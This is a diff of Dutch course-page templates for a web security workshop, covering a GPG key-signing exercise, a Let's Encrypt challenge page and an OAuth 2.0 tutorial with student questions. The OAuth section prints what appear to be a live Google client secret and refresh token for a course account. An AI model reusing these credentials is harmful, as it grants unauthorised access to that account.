<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Web of Trust</h3>
|
||||
|
||||
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor
|
||||
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
|
||||
te maken om met jouw private sleutel een
|
||||
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
|
||||
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
|
||||
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk te maken om met jouw private sleutel een <b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
|
||||
|
||||
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan
|
||||
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
|
||||
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
|
||||
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XD4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
|
||||
</p>
|
||||
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld <a href="http://sec1.aii.avans.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a></p>
|
||||
|
||||
<img src="static/img/web_of_trust.gif">
|
||||
|
||||
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke
|
||||
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
|
||||
sleutel weer opnieuw te versturen naar de keyserver.</p>
|
||||
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke sleutel weer opnieuw te versturen naar de keyserver.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: D4CCE6DA0374A1B1EC8D8B5005CCA14870CE34A9) en de sleutel van
|
||||
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
|
||||
antwoord hier.</span>
|
||||
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als antwoord hier.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
|
||||
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
|
||||
de server.</p>
|
||||
<p class="hint"><strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar de server.</p>
|
||||
|
||||
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere
|
||||
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
|
||||
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
|
||||
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere <a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe <a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
|
||||
|
||||
<a href="http://xkcd.com/364/" target="_blank">
|
||||
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
|
||||
</a>
|
||||
<a href="http://xkcd.com/364/" target="_blank"><img src="http://imgs.xkcd.com/comics/responsible_behavior.png"></a>
|
||||
|
||||
{% endblock %}
|
||||
<h3>Laatste opdracht</h3>
|
||||
|
||||
<p>Het vak is bijna afgelopen, en we hebben nog één laatste grote opdracht voor je waarbij je kennis van deze week nog een kan toepassen in een programmeerprojectje. Maak een kleine webapplicatie waar een gebruiker de volgende dingen kan invoeren:</p>
|
||||
|
||||
<ul>
|
||||
<li>Een naam</li>
|
||||
<li>Een geheime tekst</li>
|
||||
<li>Een wachtwoord</li>
|
||||
</ul>
|
||||
|
||||
<p>Zorg ervoor dat de webapplicatie de geheime tekst versleuteld opslaat zodat als iemand de database steelt het onmogelijk is om de geheime tekst te lezen. Als de gebruiker alleen een naam en het juiste wachtwoord invult krijgt hij zijn originele tekst weer te zien.</p>
|
||||
|
||||
<p>Zet de code op GitHub en leg in de README.md kort uit welke technieken, libraries en frameworks je hebt gebruikt. Je mag zelf kiezen welke programmeertaal je gebruikt.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak hier de link naar je GitHub project</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_github_project.points max="25" %}
|
||||
<input type="url" class="question-input" name="answer_encryption_github_project" value="{{ answers.answer_encryption_github_project.string }}">
|
||||
</div>
|
||||
|
||||
<img src="static/img/encryption_project.png" class="screenshot" style="width: 50%">
|
||||
|
||||
{% endblock %}
|
||||
@@ -1,65 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>Security Workshop</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js" defer></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<form method="POST" id="form-quiz">
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/?sql">SQL Injection</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?xss">Cross-site Scripting</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?path">Insecure Direct Object References</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?wachtwoorden">Wachtwoorden</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?oauth">OAuth</a>
|
||||
</li>
|
||||
<!--
|
||||
<li>
|
||||
<a href="/?certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?encryptie">Encryptie</a>
|
||||
</li>
|
||||
-->
|
||||
</ul>
|
||||
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Hints zichtbaar</option>
|
||||
<option value="normal">Hints optioneel</option>
|
||||
<option value="hard">Geen hints</option>
|
||||
</select>
|
||||
|
||||
<p>
|
||||
<a href="/?vm">Download VM</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div id="quiz" class="span8 offset3">
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+24
-27
@@ -1,28 +1,29 @@
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="/static/css/semantic.min.css">
|
||||
<style type="text/css">
|
||||
<head>
|
||||
<link rel="stylesheet" href="/static/css/semantic.min.css">
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h1 class="ui centered aligned header">Let's Encrypt</h1>
|
||||
<body>
|
||||
<h1 class="ui centered aligned header">Let's Encrypt</h1>
|
||||
|
||||
<div class="ui three column centered grid">
|
||||
<div class="column ui">
|
||||
<form method="POST" action="" class="ui form primary center aligned segment">
|
||||
{% csrf_token %} {% if challenge %}
|
||||
<p>Vanaf
|
||||
<br>
|
||||
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a>
|
||||
<br> wordt de komende 10 minuten de volgende tekst getoond:
|
||||
<br>
|
||||
<code>{{challenge}}.{{response}}</code> {% elif error %}
|
||||
<div class="ui three column centered grid">
|
||||
<div class="column ui">
|
||||
<form method="POST" action="" class="ui form primary center aligned segment">
|
||||
{% csrf_token %}
|
||||
|
||||
{% if challenge %}
|
||||
<p>Vanaf<br>
|
||||
<a href="http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}">http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}</a><br> wordt de komende 10 minuten de volgende tekst getoond:<br>
|
||||
<code>{{challenge}}.{{response}}</code>
|
||||
|
||||
{% elif error %}
|
||||
<div class="ui negative message">
|
||||
<p>{{error}}</p>
|
||||
</div>
|
||||
@@ -33,24 +34,20 @@
|
||||
<div class="ui huge input">
|
||||
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
|
||||
</div>
|
||||
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via
|
||||
<br>
|
||||
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
|
||||
</p>
|
||||
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via <br><code>http://sec1.aii.avans.nl/.well-known/acme-challenge/</code></p>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="ui big blue submit button">Opslaan</button>
|
||||
|
||||
{% endif %}
|
||||
</form>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
</body>
|
||||
</html>
|
||||
+233
-322
@@ -1,349 +1,260 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
<h1>OAuth</h1>
|
||||
{% extends "base.html" %}
|
||||
|
||||
<img src="static/img/oauth.png" style="float: right">
|
||||
{% block content %}
|
||||
<h1>OAuth</h1>
|
||||
|
||||
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad
|
||||
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
|
||||
|
||||
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen
|
||||
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
|
||||
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
|
||||
|
||||
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk
|
||||
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
|
||||
versa.
|
||||
</p>
|
||||
<img src="static/img/oauth.png" style="float: right">
|
||||
|
||||
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en
|
||||
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
|
||||
kunnen checken.</p>
|
||||
|
||||
<h3>Simpele authenticatie</h3>
|
||||
|
||||
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de
|
||||
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
|
||||
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic.png">
|
||||
</figure>
|
||||
|
||||
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
|
||||
|
||||
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van
|
||||
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
|
||||
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
|
||||
|
||||
<p>Een startup heeft de
|
||||
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
|
||||
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
|
||||
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
|
||||
werken.
|
||||
</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic_app.png">
|
||||
</figure>
|
||||
|
||||
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van
|
||||
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
|
||||
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
|
||||
|
||||
|
||||
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken,
|
||||
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
|
||||
|
||||
<h3>Access tokens</h3>
|
||||
|
||||
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
|
||||
<p>OAuth lost dit probleem op door het concept van een
|
||||
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
|
||||
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
|
||||
server deze kan verifiëren.</p>
|
||||
|
||||
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige
|
||||
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
|
||||
schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
|
||||
|
||||
<img src="static/img/oauth_facebook.png" class="center-block">
|
||||
|
||||
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens
|
||||
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
|
||||
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_access_token.png" class="center-block">
|
||||
</figure>
|
||||
|
||||
<p>Je kan ook een speciale
|
||||
<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
|
||||
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
|
||||
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
|
||||
|
||||
<h3>Opdrachten</h3>
|
||||
|
||||
<p>Deze site heeft ook een API die te vinden is op:
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
|
||||
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
|
||||
de API kunnen aanroepen.</p>
|
||||
|
||||
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API
|
||||
aanroep doet. Voor deze opdracht kan je die aanmaken op
|
||||
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>Name</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
|
||||
<li>
|
||||
<b>Client secret</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client type</b>: Confidential</li>
|
||||
<li>
|
||||
<b>Authorization grant type</b>: Implicit</li>
|
||||
<li>
|
||||
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
|
||||
</ul>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/oauth_register.png" style="width: 50%">
|
||||
</figure>
|
||||
|
||||
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de
|
||||
endpoints van een aantal bekende servers:</p>
|
||||
|
||||
<table border="1" cellpadding="4">
|
||||
<tr>
|
||||
<th>Service</th>
|
||||
<th>Authorization endpoint</th>
|
||||
<th>Token endpoint</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Deze cursus</td>
|
||||
<td>https://websec.paulwagener.nl/o/authorize/</td>
|
||||
<td>https://websec.paulwagener.nl/o/token/</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>GitHub</td>
|
||||
<td>https://github.com/login/oauth/authorize</td>
|
||||
<td>https://github.com/login/oauth/access_token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Google</td>
|
||||
<td>https://accounts.google.com/o/oauth2/auth</td>
|
||||
<td>https://accounts.google.com/o/oauth2/token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Facebook</td>
|
||||
<td>https://www.facebook.com/dialog/oauth</td>
|
||||
<td>https://graph.facebook.com/oauth/access_token</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan'
|
||||
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
|
||||
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
|
||||
code nodig.</p>
|
||||
|
||||
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (
|
||||
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je
|
||||
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven
|
||||
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een
|
||||
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access
|
||||
tokens mee maken.
|
||||
<i>Voor deze opdracht gebruiken we "token"</i>.</li>
|
||||
<li>
|
||||
<b>client_id</b>: Jouw gekozen client id</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
|
||||
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
|
||||
code of access token</li>
|
||||
<li>
|
||||
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
|
||||
<li>
|
||||
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
|
||||
Kan handig zijn.</li>
|
||||
</ul>
|
||||
|
||||
<p>Voor deze site is de authorisatie URL:
|
||||
<br>
|
||||
<span class="url">https://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let je wel op dat er een slash staat achter
|
||||
<code>authorize</code> in de URL?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel seconden is deze token code geldig?</span>
|
||||
</div>
|
||||
|
||||
<p>De access token kan je nu gebruiken om een request te doen naar
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
|
||||
|
||||
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
|
||||
|
||||
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen
|
||||
headers en data. In de screenshots gebruiken we
|
||||
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
|
||||
|
||||
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let op dat je de Authorization data als
|
||||
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
|
||||
|
||||
|
||||
<h3>Web applicaties</h3>
|
||||
|
||||
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie
|
||||
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
|
||||
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
|
||||
|
||||
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen
|
||||
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
|
||||
|
||||
<ol>
|
||||
<li>Ga naar
|
||||
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
|
||||
<b>Authorization grant type</b> de waarde
|
||||
<b>Authorization code</b> heeft.
|
||||
<br>
|
||||
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
|
||||
</li>
|
||||
|
||||
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met
|
||||
<b>response_type=code</b> in plaats van response_type=token</li>
|
||||
|
||||
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
|
||||
</ol>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke authorisatie code heb je gekregen?</span>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
|
||||
|
||||
|
||||
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token.
|
||||
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
|
||||
<li>
|
||||
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
|
||||
<li>
|
||||
<b>client_id</b>: De client id die je hebt verzonnen</li>
|
||||
<li>
|
||||
<b>client_secret</b>: De client secret die je hebt verzonnen</li>
|
||||
</ul>
|
||||
|
||||
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response
|
||||
met daarin de refresh_token (en een gratis access_token!). Als je een
|
||||
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
|
||||
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
|
||||
als je een
|
||||
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
|
||||
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
|
||||
keer extra goed of de URL eindigt op
|
||||
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
|
||||
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad <strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
|
||||
|
||||
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
|
||||
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
|
||||
</div>
|
||||
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice versa.</p>
|
||||
|
||||
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
|
||||
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth
|
||||
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
|
||||
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
|
||||
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
|
||||
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo kunnen checken.</p>
|
||||
|
||||
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
|
||||
<h3>Simpele authenticatie</h3>
|
||||
|
||||
<h3>Google</h3>
|
||||
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
|
||||
|
||||
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
|
||||
<figure>
|
||||
<img src="static/img/auth_basic.png">
|
||||
</figure>
|
||||
|
||||
<code style="display: block;">
|
||||
Client id: 507532281075-92u6kon3r2kpesqbadmt29cnlvtpjbkh.apps.googleusercontent.com<br>
|
||||
Client secret: yTmMOl9GfCFl-F4QoESfi7HT<br>
|
||||
Refresh token: 1/EpIRGrHcCV8wi54zGwJoKUklSTkndrJvj1mixqNrgkY"<br></code>
|
||||
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
|
||||
|
||||
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token)
|
||||
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
|
||||
op 'refresh_token' zetten:</p>
|
||||
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van <a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
|
||||
<p>Een startup heeft de <i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan werken.</p>
|
||||
|
||||
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
<figure>
|
||||
<img src="static/img/auth_basic_app.png">
|
||||
</figure>
|
||||
|
||||
<p>Gebruik de access token die je krijgt om een API call te doen naar
|
||||
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websec.paulwagener@gmail.com/events</span>. Vergeet niet weer de juiste Authorization
|
||||
